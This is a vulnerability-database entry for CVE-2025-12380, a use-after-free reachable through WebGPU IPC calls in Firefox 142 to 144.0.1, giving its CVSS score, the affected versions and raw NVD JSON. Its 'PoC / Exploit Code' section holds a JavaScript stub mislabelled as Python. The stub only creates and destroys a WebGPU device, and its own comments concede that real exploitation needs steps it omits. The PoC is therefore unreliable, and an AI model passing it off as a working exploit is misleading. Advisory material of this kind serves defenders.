Security Vulnerability Report
中文
CVE-2025-12380 CVSS 9.8 CRITICAL

CVE-2025-12380

Published: 2025-10-28 14:15:58
Last Modified: 2026-04-13 15:16:42

Description

Starting with Firefox 142, it was possible for a compromised child process to trigger a use-after-free in the GPU or browser process using WebGPU-related IPC calls. This may have been usable to escape the child process sandbox. This vulnerability was fixed in Firefox 144.0.2.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE
Mozilla Firefox 142.0
Mozilla Firefox 142.0.1
Mozilla Firefox 142.0.2
Mozilla Firefox 142.0.3
Mozilla Firefox 142.0.4
Mozilla Firefox 143.0
Mozilla Firefox 143.0.1
Mozilla Firefox 143.0.2
Mozilla Firefox 144.0
Mozilla Firefox 144.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-12380 PoC - WebGPU IPC UAF trigger // This PoC demonstrates the concept of triggering UAF via WebGPU IPC // Note: Actual exploit requires compromised child process const webgpuUafTrigger = { name: "WebGPU IPC UAF Trigger", cveId: "CVE-2025-12380", target: "Firefox 142-144.0.1", // Step 1: Acquire WebGPU adapter async initWebGPU() { if (!navigator.gpu) { throw new Error("WebGPU not supported"); } const adapter = await navigator.gpu.requestAdapter(); return adapter; }, // Step 2: Create device and trigger IPC async triggerUAF(adapter) { const device = await adapter.requestDevice(); // Trigger IPC calls that may lead to UAF in GPU process // The actual UAF occurs in the GPU/browser process // not directly observable from JavaScript // Force garbage collection to increase UAF probability device.destroy(); await new Promise(r => setTimeout(r, 100)); global.gc?.(); return true; }, // Note: Real exploitation requires: // 1. Compromised child process (e.g., via renderer exploit) // 2. Crafted IPC messages to GPU process // 3. Memory spray to achieve arbitrary read/write // 4. Sandbox escape via process-level vulnerability execute() { return this.initWebGPU() .then(adapter => this.triggerUAF(adapter)) .catch(err => console.error("Error:", err)); } }; // Export for Node.js or browser environment if (typeof module !== 'undefined' && module.exports) { module.exports = webgpuUafTrigger; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12380", "sourceIdentifier": "[email protected]", "published": "2025-10-28T14:15:57.860", "lastModified": "2026-04-13T15:16:41.757", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Starting with Firefox 142, it was possible for a compromised child process to trigger a use-after-free in the GPU or browser process using WebGPU-related IPC calls. This may have been usable to escape the child process sandbox. This vulnerability was fixed in Firefox 144.0.2."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionStartIncluding": "142.0", "versionEndExcluding": "144.0.2", "matchCriteriaId": "AEB4EA43-F674-47D6-BB82-6C39F6975B73"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1993113", "source": "[email protected]", "tags": ["Permissions Required", "Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-86/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}